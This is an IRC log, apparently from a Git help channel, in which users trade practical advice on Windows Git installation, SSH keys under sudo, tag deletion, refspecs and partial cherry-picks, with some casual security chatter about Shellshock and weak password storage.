	← Warrior-kk left	04:54
falteckz	The Git installer you linked did that for me	04:54
	I'm sure it's an install option	04:54
	→ refried_ joined	04:54
falteckz	Trying to work out what one you prefer to choose	04:54
	and why you're not using a more native setup	04:54
	← palcu left	04:54
	→ JohnBat26 joined	04:54
squirel	interesting	04:54
falteckz	Found it	04:54
	http://i.imgur.com/2Izo0fF.png	04:55
	← iliketurtles left	04:55
falteckz	Use THAT option	04:55
	Then you use git from Windows natively	04:55
	no bash	04:55
	→ vocifer joined	04:55
	← jonalmeida left	04:55
squirel	ah.. I chose "Use Git from git bash only" option.	04:55
falteckz	Yeah	04:55
	→ iliketurtles joined	04:55
falteckz	I was not even aware this thing had installed some git bash crap	04:55
	→ jonalmeida joined	04:55
falteckz	But I shall burn the executable with fire	04:56
	← msmith left	04:56
	→ javster_ joined	04:56
falteckz	If I want to bash, I'll drop in to a linux session, otherwise the less unix in Windows the better	04:56
	except that I have vi and nano ports	04:56
	But that's just because I don't want to open a Windows text editor	04:56
	→ kiran joined	04:56
	← javster left	04:57
	javster_ → javster	04:57
squirel	thats cool, Ill play with that.. but Im trying to patch the shellshock exploit inside the bash..	04:57
falteckz	Don't both	04:57
	It's Windows ported	04:57
	That's hell	04:57
	s/both/bother/	04:57
	Unless you're very good in your cross environment C compiling	04:57
squirel	I knew what you ment..	04:57
falteckz	As I know what you meant :)	04:57
squirel	yepers	04:58
	→ solker_ joined	04:58
falteckz	Ahh would you look at that	04:58
	I've got a whole cesspool of unix ports in here	04:58
	cat, cp, bison, bash, curl	04:58
	No wget though	04:58
	Which is far superior	04:58
	I'm happy about touch and tar though	04:59
	squirel, one option is to delete bash.exe	04:59
	That would fix the vuln	04:59
squirel	yeah, and now your vulnerable..	04:59
falteckz	I'm not vulnerable	04:59
	bash is not in my system path	04:59
	Meaning that someone would have to actually navigate my program files to get to it, at which point they already have full system control and can just do damage directly	05:00
squirel	neither is mine! which is why I use the option I did so it WOULD NOT mess with path.. that might be all the info I need then..	05:00
	thanks!	05:00
	that thought may be enough to ease my concious..	05:00
falteckz	Threat assessment says that	05:00
	If they can use bash	05:00
	They can break you in every other way too	05:01
	So really, bash isn't a threat	05:01
	Why go to the trouble to see if you have git installed when I can just fire-up registry edit and break everything	05:01
	← UmbraMalison left	05:02
	← Gamecubic left	05:02
squirel	I hear ya.. big IT departments and there crazy notions..	05:02
	→ UmbraMalison joined	05:02
	← FofG left	05:03
	→ pr0ton_ joined	05:04
	← unglid left	05:04
falteckz	Yeah the IT dep at my work is always going on about stuff	05:05
	And yet they leave root passwords in scripts with 777 permissions	05:05
	because they are lazy	05:05
	← rchavik_ left	05:05
squirel	shhhh	05:05
	security through obscurity	05:05
falteckz	joindomain.ps1	05:05
	$Password = "kasdhskd";	05:05
	Yeah good job IT	05:06
	→ ag4ve joined	05:06
falteckz	You know what isn't security through obscurity	05:06
	unsalted MD5 hashes and Base64	05:07
	That's insecurity through stupidity	05:07
	← MattMaker left	05:07
squirel	thats so obscure I don't even know what it means..	05:07
falteckz	That's okay, you don't have to	05:07
	You can paste the 'obscure' password in to Google	05:07
	and it'll give you the value back	05:07
squirel	lovely	05:08
	→ palcu joined	05:09
	→ justinmburrous joined	05:10
	→ unglid joined	05:10
	→ tranzfuse joined	05:10
	← vocifer left	05:11
	← drbean_ left	05:12
	← NoNMaDDeN left	05:12
	← Manny left	05:13
squirel	haha,I just read up on that unsalted md5 hashes.. the internet, makes storing brute force data so easy..	05:13
	→ EminenceHC joined	05:13
	← mennea left	05:13
	← justinmb_ left	05:13
	→ mennea joined	05:13
squirel	thanks falteckz.. see ya	05:14
	→ Manny joined	05:14
	→ drbean joined	05:15
	← tranzfuse left	05:15
	→ jontmorehouse joined	05:17
	← EminenceHC left	05:18
	→ rchavik_ joined	05:18
	→ talmuth joined	05:18
	← jonmorehouse left	05:19
	← durianshredder left	05:19
	→ MattMaker joined	05:20
	→ DrSkyLizard joined	05:22
	← neonixcoder left	05:22
	→ bezet joined	05:23
	→ daito joined	05:24
	→ remington_forbes joined	05:24
	→ epifanio joined	05:24
	← pr0ton_ left	05:24
	→ roberto_ joined	05:24
	← roberto_ left	05:25
	→ roberto joined	05:25
	← xolubi left	05:25
	roberto → Guest90578	05:25
	→ sinkensabe joined	05:26
	← Guest90578 left	05:26
	→ roberto_ joined	05:27
	← pheaver left	05:27
	← bezet left	05:28
	← roberto_ left	05:28
	→ robertodecurnex joined	05:28
	→ Wiz_KeeD joined	05:28
	← deuti left	05:30
	→ FunkyAss joined	05:30
	→ PinkSpecs joined	05:31
	→ EminenceHC joined	05:31
	← solker_ left	05:33
	→ solker_ joined	05:34
	→ NoNMaDDeN joined	05:34
	← rchavik_ left	05:35
	→ jceb joined	05:36
	← EminenceHC left	05:36
	→ Junior joined	05:36
	← squirel left	05:37
	→ Lyqyd joined	05:38
	← solker_ left	05:39
	← iliketurtles left	05:39
	→ eletuchy_ joined	05:39
	← thiago left	05:39
	← falteckz left	05:39
	→ rchavik_ joined	05:40
	→ thiago joined	05:40
	← armyriad left	05:40
	← oojacoboo left	05:40
	→ armyriad joined	05:41
	← eletuchy left	05:42
	← mennea left	05:43
	→ bbloom joined	05:43
	→ mennea joined	05:44
	← eletuchy_ left	05:44
	← rchavik_ left	05:45
	→ msonntag joined	05:46
	→ nnyk joined	05:46
	← mbury left	05:47
	→ jarr0dsz joined	05:48
	→ ThomasLocke joined	05:48
	← Lyqyd left	05:49
	→ brammm joined	05:49
	→ lahwran joined	05:49
	→ rchavik_ joined	05:50
	← gccostabr left	05:50
	→ gccostabr joined	05:51
	→ Malsasa_ joined	05:51
	← sinkensabe left	05:52
	→ msmith joined	05:52
	← Malsasa left	05:52
	rchavik_ → rchavik	05:53
	→ AnujSharma joined	05:53
	→ beneggett joined	05:54
	← beneggett left	05:54
	← netameta left	05:54
	→ neonixcoder joined	05:55
	← msmith left	05:56
	→ makesoda joined	05:56
	← ClarusCogitatio left	05:57
	→ BuenGenio joined	05:57
	→ svm_invictvs joined	05:59
	→ mlechner joined	05:59
	→ chs joined	06:00
	← starkhalo left	06:00
	→ ClarusCogitatio joined	06:00
	← makesoda left	06:00
	chs → chris17	06:01
	chris17 → chs	06:01
	← joelm left	06:02
	← vurma left	06:03
	→ Silmarilion joined	06:03
	→ zapb_ joined	06:03
	→ makesoda joined	06:06
	← BuenGenio left	06:06
	→ BuenGenio_ joined	06:06
	← makesoda left	06:07
	← neonixcoder left	06:08
	→ Marcus_ joined	06:08
	← axl_ left	06:09
	← solution left	06:10
	nnyk → nnyk_	06:10
	→ LLaurent joined	06:10
	→ tranzfuse joined	06:11
	→ jagob joined	06:11
	← lahwran left	06:12
	→ a_le joined	06:12
	← refried_ left	06:12
	← mennea left	06:13
	← Kwpolska left	06:13
	← Manny left	06:13
	→ Manny joined	06:13
	← a_le left	06:14
	→ mennea joined	06:14
	→ a_le joined	06:14
	→ Macaveli joined	06:14
	← BuenGenio_ left	06:15
	← tranzfuse left	06:15
	→ papegaaij joined	06:16
	← thiago left	06:16
	→ EminenceHC joined	06:17
	→ lahwran joined	06:18
	→ hoijui joined	06:18
	→ sinkensabe joined	06:18
	→ Neozonz joined	06:19
	→ lindenle joined	06:19
	→ rob_w joined	06:19
	→ mihaicris joined	06:19
	→ Akagi201 joined	06:21
	← daito left	06:21
	← jarr0dsz left	06:21
	→ evil-twin joined	06:22
	→ ghostlines joined	06:22
	→ roelmonnens joined	06:22
	← EminenceHC left	06:22
	← lindenle left	06:23
	→ bvi joined	06:24
	← Neozonz left	06:24
	← ghostlines left	06:27
	← DrSkyLizard left	06:27
	← LLaurent left	06:27
	→ clauswitt joined	06:27
	← mihaicris left	06:30
	→ P4_Denis joined	06:31
	→ Gizburdt joined	06:31
	→ intellix joined	06:32
	← Gizburdt left	06:32
	→ jnavila joined	06:32
	← paulweb515 left	06:34
	← P4_Denis left	06:35
	← Akagi201 left	06:35
	→ Akagi201 joined	06:35
	→ fr33domlover joined	06:37
	← kristofferR left	06:37
	→ daito joined	06:37
	→ vocifer joined	06:37
	→ BlaXpirit joined	06:38
	→ lacrymology joined	06:38
	← PinkSpecs left	06:39
	→ kriks joined	06:40
	→ dgpalmer joined	06:40
	→ axl_ joined	06:40
	← justinmburrous left	06:40
	→ justinmburrous joined	06:41
	← robertodecurnex left	06:42
	← dgpalmer left	06:42
	← mennea left	06:43
	→ lugub joined	06:43
	→ solker_ joined	06:43
	lugub → Guest51308	06:43
	→ mennea joined	06:44
	← Guest51308 left	06:44
	→ rchavik_ joined	06:44
	→ dreiss joined	06:45
	← FunkyAss left	06:46
	← jiskiras left	06:46
	← rchavik left	06:47
	→ paulweb515 joined	06:48
	← justinmburrous left	06:49
	← a_le left	06:49
	→ boucman_work joined	06:49
	→ jargon joined	06:49
	→ FunkyAss joined	06:51
	→ justinmburrous joined	06:52
	→ Advocation joined	06:52
	→ msmith joined	06:52
	→ jottr_ joined	06:55
	→ makesoda joined	06:55
	→ User458764 joined	06:55
	→ Vile joined	06:55
	← maestrojed left	06:56
	← makesoda left	06:56
	← evil-twin left	06:57
	← nkouevda left	06:57
	→ Error404NotFound joined	06:57
	← Error404NotFound left	06:57
	→ Error404NotFound joined	06:57
	← msmith left	06:57
	← Goplat left	06:58
	Malsasa_ → Malsasa	06:58
	→ gua_ould joined	06:59
	← fr33domlover left	06:59
	→ fr33domlover joined	06:59
	→ Idealien joined	07:00
	← clauswitt left	07:02
	→ Trudko joined	07:03
	→ clauswitt joined	07:03
	→ cbr_ joined	07:03
	→ evil-twin joined	07:04
	← phantombeta left	07:07
	→ jdmf joined	07:08
	← sinkensabe left	07:09
	← FunkyAss left	07:09
	← Vile left	07:10
	← kcm1700_ left	07:10
	→ kcm1700 joined	07:10
	→ Fissure1 joined	07:11
	← Fissure left	07:11
	→ tranzfuse joined	07:12
	→ c74d joined	07:12
	→ evildmp joined	07:13
	← jontmorehouse left	07:13
	→ ghostlines joined	07:13
	→ sdrfnord1 joined	07:13
	← mennea left	07:13
	→ mennea joined	07:14
Idealien	I'm having an issue with git clone requiring password on a new server instead of using ssh key. ssh -t works with the keys to my repo (gitolite based). I've checked .ssh is chmod 700 and the files inside are 600. What else might be the id10T error that I'm forgetting?	07:14
	← boucman_work left	07:15
	→ Raging_Hog joined	07:15
	→ seschwar joined	07:15
	← tranzfuse left	07:16
	→ petersr joined	07:17
osse	Idealien: what url are you using?	07:17
Idealien	sudo git clone --mirror git@privategitrepourl:projectname /srv/www/pathtoproject	07:18
	ssh -t git@privategitrepourl returns a list of my projects (both on old prod which does git as a part of capistrano and new prod that I'm setting up in same way)	07:19
	→ cvanball joined	07:19
	← Advocation left	07:20
osse	Idealien: the sudo ruins it	07:20
	Idealien: My guess is sudo ssh -t won't work either	07:20
	→ EminenceHC joined	07:20
	→ GGflags joined	07:20
	→ encod3 joined	07:21
	→ diegoaguilar joined	07:22
	→ Embassy joined	07:22
	→ TomyWork joined	07:22
	← NoNMaDDeN left	07:22
	← polyzen left	07:22
	← justinmburrous left	07:22
	→ NoNMaDDeN joined	07:23
Idealien	gah seriously? Ok that helps. Now I guess tell ansible which commands to use sudo vs not. Thanks!	07:23
	← jottr_ left	07:23
	→ LeMike joined	07:24
	→ bezet joined	07:24
osse	Idealien: sudo runs a program with priviliges. Your own ~/.ssh isn't relevant at that point	07:24
	← LeMike left	07:24
	← nnyk_ left	07:24
	← EminenceHC left	07:25
	← stiffi left	07:25
	← User458764 left	07:25
	← encod3 left	07:26
	← GGflags left	07:26
Idealien	Makes enough sense (at 3:30AM) that I'll believe you. Thanks osse!	07:26
	← dreiss left	07:26
Idealien	That and testing manual command actually validates what you say.	07:26
	→ awkwardusername joined	07:26
osse	Idealien: I'd say that what makes most sense is for the Ansible user to be allowed to write to /srv/www	07:27
	But I don't know.	07:27
	← bezet left	07:28
	← jonalmeida left	07:28
epta	Is there .gitconfig option to do blame with space-ignoring automatically?	07:28
	smth like adding '-w' to the 'git blame' all the time	07:28
Trudko	Guzs can I remove tags by commit hash?	07:28
	→ jonalmeida joined	07:29
	→ LeMike joined	07:29
osse	Trudko: have you tried?	07:29
	→ justinmburrous joined	07:30
osse	git for-each-ref 'refs/tags/*' \| grep hash	07:31
	→ FunkyAss joined	07:32
	→ shigosei joined	07:32
	→ Vile joined	07:32
Trudko	that finds tag by hash	07:33
	→ Gizburdt joined	07:33
	→ mkaesz joined	07:33
osse	correct	07:33
	← svm_invictvs left	07:34
	→ msankhala joined	07:34
granden	I have a clone/checkout a repository before it existed a second branch in it, and now I would like to push my changes to the development branch instead of the the master branch that I got checked out, is this possible?	07:34
osse	granden: git push origin master:development	07:34
	← BlaXpirit left	07:35
Trudko	osse: i want to to delete tag by has not find its hash	07:35
	→ PinkSpecs joined	07:35
osse	Trudko: you cannot delete by hash; you need to know its name	07:35
	Trudko: my command will help you find the name	07:35
	→ dangerousdave joined	07:35
Trudko	ok cool i knew its name	07:36
	btw how do overite remote tags with local tags, so whatever tags are not local will be deleted on remote_	07:36
granden	osse: So master is my local branch and the part after : is the branch in the git-repo?	07:37
	→ wise joined	07:37
osse	granden: yes	07:37
	granden: git push origin master is a shortcut for git push origin master:master	07:38
	← Dreadnaught left	07:38
wise	I don't care about my branch, I want to start a new branch from master, but anything I do tells me I need to resolve a merge of a file I deleted	07:38
granden	using sourcetree trying to figure out how to do it in there :)	07:38
wise	how do I get rid of this merge error?	07:38
osse	wise: git merge --abort most likely	07:38
	← gua_ould left	07:39
	← Idealien left	07:39
osse	granden: that thing is called a "refspec". look for that buzzword	07:39
	← Gizburdt left	07:39
wise	thx osse	07:40
	→ encod3 joined	07:41
	→ Novitsh_ joined	07:41
	→ teran joined	07:41
	→ jontmorehouse joined	07:42
	← mennea left	07:43
	→ numdig joined	07:43
	→ acolson joined	07:43
	← nilg` left	07:43
	→ mennea joined	07:44
	→ marthinal joined	07:44
	→ Gizburdt joined	07:44
	← Macaveli left	07:45
	→ osfe_ joined	07:45
	← osfe left	07:45
	→ aswen joined	07:45
	← osfe_ left	07:45
	→ Macaveli joined	07:45
	→ osfe joined	07:46
	→ psoo joined	07:46
	→ alorence joined	07:46
	← UmbraMalison left	07:47
	← jargon left	07:47
	← paulweb515 left	07:47
	← jontmorehouse left	07:48
	→ Sonderblade joined	07:48
	← Sonderblade left	07:49
	→ Vivekananda_y510 joined	07:49
	← aswen left	07:49
	→ aswen joined	07:49
	→ jottr_ joined	07:49
	← jordanm left	07:50
	→ emrox joined	07:50
	← numdig left	07:51
	← dangerousdave left	07:52
	← sitology left	07:52
	→ jargon joined	07:52
	← teran left	07:52
	→ msmith joined	07:53
	→ sgen joined	07:54
	→ stangeland joined	07:54
	← fairuz left	07:54
	→ gua_ould joined	07:54
	→ leprechau joined	07:55
	← jottr_ left	07:56
	→ mithenks joined	07:57
	→ emrox_ joined	07:57
	← emrox_ left	07:57
	→ emrox_ joined	07:58
	← emrox_ left	07:58
	→ jalmeida joined	07:58
	← msmith left	07:58
	← sgen left	07:58
	← LeMike left	07:58
	→ sgen_ joined	07:58
	→ emrox_ joined	07:58
	← emrox left	07:59
	→ jordanm joined	08:00
	← jordanm left	08:00
	→ jordanm joined	08:00
	← DTSCode left	08:00
	← yaymukund left	08:00
	← msankhala left	08:00
	← justinmburrous left	08:01
	→ numdig joined	08:01
	→ mikecmpbll joined	08:01
	← clauswitt left	08:01
	← jonalmeida left	08:01
	→ sebastian_ joined	08:02
	→ clauswitt joined	08:03
	← deavid left	08:03
	← diegoaguilar left	08:04
	→ jenni_naiaretti joined	08:04
	→ teran joined	08:04
	→ robarelli joined	08:08
	→ justinmburrous joined	08:09
	← WormDr1nk left	08:09
	← awkwardusername left	08:09
	→ lb1a joined	08:09
	← robarelli left	08:09
	→ pantsman- joined	08:11
	→ jitendravyas joined	08:11
	→ mnavratil joined	08:12
	← psoo left	08:12
	→ psoo joined	08:12
	→ tranzfuse joined	08:13
	← mennea left	08:13
	← Manny left	08:13
	→ Manny joined	08:13
	→ ncd\|leeN joined	08:13
	→ mennea joined	08:14
	→ paulweb515 joined	08:14
	→ seanmerron joined	08:15
	→ Dudi joined	08:15
	→ dangerousdave joined	08:16
	→ Advocation joined	08:17
	← tranzfuse left	08:17
	→ beautifulmind joined	08:18
	← Advocation left	08:19
	→ nnyk_ joined	08:20
	→ lindenle joined	08:21
	← numdig left	08:21
	← Gizburdt left	08:22
	← evildmp left	08:23
	→ sinkensabe joined	08:23
	← Embassy left	08:24
	→ numdig joined	08:24
	← rchavik_ left	08:25
	← lindenle left	08:25
	→ rishabh_ joined	08:25
	→ bezet joined	08:25
	→ EminenceHC joined	08:26
	← dangerousdave left	08:26
	→ Advocation joined	08:26
	→ ockham joined	08:26
	→ rath joined	08:26
	→ fairuz1 joined	08:27
	→ mnml joined	08:27
	→ Embassy joined	08:27
	← Advocation left	08:28
	← jargon left	08:29
	← AnujSharma left	08:29
	← akiva left	08:30
	→ rchavik_ joined	08:30
	→ dragoonis joined	08:30
	← EminenceHC left	08:30
	→ djoularef joined	08:30
	→ jargon joined	08:30
	→ spareproject joined	08:31
	→ P4_Denis joined	08:31
	← Dudi left	08:32
	→ Gizburdt joined	08:33
	gitinfo set mode: +v	08:33
	→ msankhala joined	08:33
djoularef	sorry for offtopic but can someone advise a Test Case Management Software in the cloud ?	08:34
	preferably free	08:34
jast	I don't have anything to recommend, but I guess in any case it'd be helpfult o know what exactly you want to manage	08:35
	→ WormDr1nk joined	08:35
djoularef	I want to manage test cases	08:35
	→ tvw joined	08:35
	← tpollard left	08:36
djoularef	the most important it should include different browsers and OS	08:36
	← P4_Denis left	08:36
	→ lrvick joined	08:36
	→ doev joined	08:36
jast	so you're asking about test cases for web development specifically?	08:36
	→ jontmorehouse joined	08:36
djoularef	I mean a tool that can simplify writing tests	08:37
	yes	08:37
jast	that's almost certainly relevant for finding a good tool ;)	08:37
	→ yaymukund joined	08:37
lrvick	So I want to use sudo as part of a post-receive hook. Is there a way to do this where the sudo password prompt can be forwarded over ssh to my local term?	08:37
	→ hidekin joined	08:37
lrvick	currently now I get : remote: sudo: no tty present and no askpass program specified	08:37
	even if i disable requiretty in sudo, i don't know how to forward askpass	08:38
	← jordanm left	08:38
	← petersr left	08:38
jast	it would conceivably be possible to write an askpass program that asks for the password on STDIN instead of via the terminal	08:39
	← Embassy left	08:39
jast	but then still git expects its own protocol data, not random prompts for passwords	08:39
	← justinmburrous left	08:39
	← jontmorehouse left	08:41
	→ mustafavelioglu_ joined	08:42
lrvick	hmmmm	08:42
	← rchavik_ left	08:42
	→ moritzs joined	08:43
jast	there's also x11 forwarding, but that'd require an X server running on the remote machine	08:43
	→ jordanm joined	08:43
	← jordanm left	08:43
	→ jordanm joined	08:43
jast	you can probably make it work somehow, but think about whether it's really worth the effort	08:43
	← mennea left	08:43
lrvick	yeaaah, also ill need commands besides git	08:43
	im thinking this will need to be like provisor	08:43
	a deploy.sh script	08:43
	with a sudo pinhole	08:43
	then i cna run very explict commands, and it takes no arguments	08:44
	→ mennea joined	08:44
	→ dangerousdave joined	08:45
lrvick	so an attacker would need access to a sudo user, the ability to modify code on github to exploit this.	08:45
	then they could push bad code to production	08:45
	bu if they have acess to both the github master and a sudo user, we have bigger problems	08:45
	→ pierre1_ joined	08:45
lrvick	I might remove everyone from owners that does not use two step auth	08:46
	well actually there is no direct github connection	08:46
	but yeah this would in effect allow anyone with sudo to write any file to / they want, without a password.	08:47
	yeaaaaah. thats bad	08:47
	← gitty_1 left	08:47
	← fairuz1 left	08:47
	← numdig left	08:48
lrvick	Sorry </wall of text>	08:48
	→ JCOLE joined	08:49
	← joki left	08:50
	→ dsdeiz_ joined	08:51
	→ jatt joined	08:51
	← jatt left	08:51
	→ jatt joined	08:51
	← jordanm left	08:52
	← dsdeiz left	08:52
	→ jordanm joined	08:52
	→ Guest46296 joined	08:53
	→ msmith joined	08:54
	→ xolubi joined	08:54
	→ joki joined	08:55
	→ kopparam joined	08:55
	→ Suchit_ joined	08:56
	← nfk left	08:58
	← msmith left	08:59
	→ DrSkyLizard joined	08:59
	→ vtunka joined	09:01
	← punchagan left	09:01
	← Suchit_ left	09:01
	→ evildmp joined	09:02
	→ Suchit_ joined	09:02
	→ vocifer_ joined	09:02
	← djoularef left	09:02
	← vocifer left	09:03
	← emrox_ left	09:03
	← JCOLE left	09:03
	← ag4ve left	09:04
	→ justinmburrous joined	09:04
	→ emrox joined	09:04
	← Suchit_ left	09:04
	← jatt left	09:04
	→ King_Hual joined	09:05
	→ rchavik joined	09:05
	← jordanm left	09:05
	→ BlaXpirit joined	09:06
	→ jordanm joined	09:06
	← jordanm left	09:06
	→ jordanm joined	09:06
	← jitendravyas left	09:06
	→ vocifer__ joined	09:08
	← vocifer_ left	09:08
	→ robarelli joined	09:09
	← harish left	09:10
	→ flughafen joined	09:10
flughafen	is it possible to pick a small change to a file in a commit of changes to multiple files?	09:13
	← mennea left	09:13
	← robarelli left	09:14
	→ mennea joined	09:14
	→ Reb_Sadran joined	09:14
	→ tranzfuse joined	09:15
	→ punchagan joined	09:15
	← kerrick left	09:15
	→ cherwin joined	09:16
osse	flughafen: you can git cherry-pick --no-commit then clean up the other files before committing	09:17
	→ stamina joined	09:17
osse	flughafen: or you can git diff commit~1 commit -- path/to/file \| patch -p1	09:17
flughafen	thanks osse	09:18
	← lukeholder left	09:19
	← kyb3r_ left	09:19
	← tranzfuse left	09:20
	← cherwin left	09:20
osse	you're welcome to some extent	09:21
	→ Juzzika joined	09:21
	← Juzzika left	09:22
	→ mhi^ joined	09:22
	← dangerousdave left	09:23
	→ cherwin joined	09:24
	← cherwin left	09:24
	→ cherwin joined	09:24
	← javster left	09:26
	← mustafavelioglu_ left	09:26
	← teran left	09:26
	→ EminenceHC joined	09:27
	→ Suchit_ joined	09:27
	← Malsasa left	09:27
	← Suchit_ left	09:28
	→ phantombeta joined	09:29
	← juvenal left	09:30
	→ zanchoPa1sa joined	09:30
	→ jontmorehouse joined	09:31
	→ Juzzika joined	09:31
	← EminenceHC left	09:31
	← eburcat left	09:31
	→ eburcat joined	09:32
	→ deavid joined	09:32
	← zhangxaochen__ left	09:33
	→ zhangxaochen__ joined	09:33
	← zanchoPansa left	09:34
	← BlaXpirit left	09:34
	← justinmburrous left	09:34
	← pantsman- left	09:35
	→ vurma joined	09:36
	→ joo-_ joined	09:36
	← jontmorehouse left	09:36
	← zhangxaochen__ left	09:37
	→ carandraug joined	09:37
	← BSaboia left	09:39
	→ zhangxaochen__ joined	09:39
	→ Hounddog joined	09:41
	← dharrigan left	09:41
	→ jontmorehouse joined	09:44
	← kcj left	09:45
	← DrSkyLizard left	09:45
	← cek left	09:47
	→ justinmburrous joined	09:48
	← jontmorehouse left	09:49
	← hoijui left	09:50
	← Juzzika left	09:50
	← Warrior-kkk left	09:51
	← lacrymology left	09:51
	← beautifulmind left	09:52
	→ Warrior-kk joined	09:52
	← stangeland left	09:53
	→ BSaboia joined	09:53
	← eburcat left	09:54
	← mennea left	09:54
	→ eburcat joined	09:55
	→ msmith joined	09:55
	→ mennea joined	09:55
	→ beautifulmind joined	09:55
	← jagob left	09:56
	← zhangxaochen__ left	09:56
	← Akagi201 left	09:57
	→ mustafavelioglu_ joined	09:57
	→ Akagi201 joined	09:57
	→ zhangxaochen__ joined	09:58
	← mustafavelioglu_ left	09:59
	→ mustafavelioglu_ joined	09:59
	← msmith left	09:59
	→ Neozonz joined	10:00
	← Neozonz left	10:00
	→ Neozonz joined	10:00
	← eburcat left	10:01
	→ eburcat joined	10:01
	← mustafavelioglu_ left	10:03
cbreak	flughafen: or you can git checkout -p commit -- file	10:03
	← MattMaker left	10:03
	→ listochkin joined	10:04
	→ MattMaker joined	10:04
	→ User458764 joined	10:04
flughafen	thanks	10:04
	← Neozonz left	10:04
	→ Sendoushi joined	10:04
	→ teran joined	10:05
	← muep left	10:07
	→ muep joined	10:07
	← muep left	10:07
	← nikita left	10:07
	→ johtso joined	10:08
	← Gizburdt left	10:09
	← listochkin left	10:09
	→ nikita joined	10:09
	→ robarelli joined	10:10
	→ jagob joined	10:11
osse	hmm, right	10:11
	the diff may be a bit different though.	10:12
	→ muep joined	10:12
	← teran left	10:12
	← Manny left	10:13
	← israelpattison left	10:13
	→ Manny joined	10:13
	→ Juzzika joined	10:14
	→ israelpattison joined	10:14
	← ThomasLocke left	10:14
	← robarelli left	10:15
cbreak	yes.	10:15
	the difference is between changes-from-parent and changes-from-this	10:15
	→ tranzfuse joined	10:16
	← mkaesz left	10:16
	→ Pessimist joined	10:17
	← zhangxaochen__ left	10:17
	→ lacrymology joined	10:17
Pessimist	How to remove the last commit but make the changes remain?	10:17
osse	Pessimist: git reset HEAD~1	10:17
	→ zhangxaochen__ joined	10:17
Pessimist	osse, thanks	10:18
	← justinmburrous left	10:19
	→ harish joined	10:19
	← tranzfuse left	10:20
	→ nfk joined	10:21
	→ lindenle joined	10:22
	← intellix left	10:22
	← jenni_naiaretti left	10:22
	← Juzzika left	10:23
	← mennea left	10:23
	← Hounddog left	10:23
	← leprechau left	10:24
	← jordanm left	10:24
	→ leprechau joined	10:24
	← daito left	10:25
	→ jenni_naiaretti joined	10:25
	→ jontmorehouse joined	10:26
	← lindenle left	10:26
	← wentasah left	10:27
	→ chiemseesurfer joined	10:27
	→ dangerousdave joined	10:28
	→ kukks joined	10:29
	→ numdig joined	10:30
	→ angelsl joined	10:31
	← jontmorehouse left	10:31
	→ P4_Denis joined	10:32
	→ ciampix joined	10:32
	→ EminenceHC joined	10:32
	← doev left	10:32
	← alexwhitman left	10:32
	← PinkSpecs left	10:34
	→ PinkSpecs joined	10:35
	← PinkSpecs left	10:36
	← Manny left	10:36
	← P4_Denis left	10:36
	← EminenceHC left	10:37
	← zhangxaochen__ left	10:37
	→ Malsasa joined	10:37
	→ zhangxaochen__ joined	10:37
	→ mustafavelioglu_ joined	10:38
	← clauswitt left	10:38
	→ Manny joined	10:39
	← stamina left	10:40
	← moritzs left	10:41
	→ listochkin joined	10:41
	→ Gizburdt joined	10:42
	→ amcsi_work joined	10:43
	→ VBlizzard joined	10:44
	→ mkaesz joined	10:48
	→ teran joined	10:49
	→ teran_ joined	10:50
	→ CheckDavid joined	10:51
	← dangerousdave left	10:51
	← joo-_ left	10:52
	→ dangerousdave joined	10:52
	← teran left	10:53
	→ FofG joined	10:54
	→ mizu_no_oto joined	10:55
	→ msmith joined	10:56
	→ Skapadapaduu joined	10:57
	→ dort joined	10:57
	← zhangxaochen__ left	10:57
	→ zhangxaochen__ joined	10:58
	← cagedwisdom left	10:58
	→ joo-_ joined	10:59
	← msmith left	11:00
	→ doev joined	11:02
	→ Musok joined	11:02
	→ chris17 joined	11:02
	← chris17 left	11:02
	→ chris17 joined	11:02
	→ clauswitt joined	11:03
	← chs left	11:04
	→ justinmburrous joined	11:05
tobiasvl	!porcelain	11:06
	hmm	11:06
	→ teran joined	11:06
	← Sendoushi left	11:07
canton7	!bot	11:07
gitinfo	[!gitinfo] I am an IRC bot which responds to certain keywords to provide helpful(?) information to humans. Please see http://jk.gs/git/bot for more information about how to use me.	11:07
	→ Mitchbones joined	11:09
	→ Kicer86 joined	11:09
Trudko	guys I somehow pushed tag on remote with value refs/tags/+.1.21.Ã0 (I used git ls-remote --tags) problem is that I want to delete the tag but git push --delete origin +.1.21.Ã0 says error: unable to delete '+.1.21.Ã0': remote ref does not exist	11:09
	← teran_ left	11:10
	→ mennea joined	11:10
	→ robarelli joined	11:10
	→ awkwardusername joined	11:11
	← clauswitt left	11:12
	← awkwardusername left	11:12
	→ awkwardusername joined	11:12
	← Turicas left	11:13
	← yaymukund left	11:13
	← beautifulmind left	11:13
	→ ajf- joined	11:14
	→ bAnt joined	11:14
	← dangerousdave left	11:14
	← robarelli left	11:15
	← subhojit777 left	11:16
	→ dangerousdave joined	11:16
	→ tranzfuse joined	11:17
	← ciampix left	11:18
	← doev left	11:19
	← mkaesz left	11:19
	→ jontmorehouse joined	11:20
	← govg left	11:21
	← tranzfuse left	11:22
	← tokik left	11:22
	← dragoonis left	11:24
	→ logix812 joined	11:24
	← logix812 left	11:24
	→ punchagan1 joined	11:25
	← joo-_ left	11:25
	← jontmorehouse left	11:25
	→ ralu joined	11:27
	← punchagan left	11:28
	→ lsiv568 joined	11:28
	← ghostlines left	11:29
	→ toothrot joined	11:30
	→ intellix joined	11:30
	→ clauswitt joined	11:31
	← clauswitt left	11:31
	← emrox left	11:31
	→ ghostlines joined	11:31
	← mnml left	11:31
	→ clauswitt joined	11:31
	← ajf- left	11:31
	→ ajf- joined	11:32
ajf-	Howdy	11:32
	← punchagan1 left	11:32
ajf-	Someone deleted my .git directory on the remote server, and merged everything into a larger project. I've been working on my module this whole time and I have a local environment setup so I don't need to clone the complete project tree.	11:33
	What can I do ?	11:33
	→ punchagan joined	11:33
	→ Juzzika joined	11:33
sqrrl	i've forked another repo and made some progress on my origin:master, and now i want to push it to up upstream:branch. but some progress was made on upstream:master as well. will upstream:branch have that progress? should i merge upstream:master into my origin:master first?	11:33
ajf-	Is there a way I can keep working on my own project tree without adding a submodule	11:33
	← FofG left	11:34
	→ joo-_ joined	11:34
	→ beautifulmind joined	11:35
	← beautifulmind left	11:35
	→ EminenceHC joined	11:35
	→ spareproject_ joined	11:36
	← justinmburrous left	11:36
	← aswen left	11:36
	← spareproject left	11:36
	→ mechanicalduck joined	11:37
	← mechanicalduck left	11:37
	→ mishunika joined	11:39
	← mennea left	11:39
	→ codeman_ joined	11:39
	← NoNMaDDeN left	11:39
	← lsiv568 left	11:40
	→ codeman joined	11:40
	→ mennea joined	11:40
	← evildmp left	11:40
	← EminenceHC left	11:40
	→ d10n-work joined	11:41
	→ Kwpolska joined	11:41
	→ mechanicalduck joined	11:41
	→ emrox joined	11:42
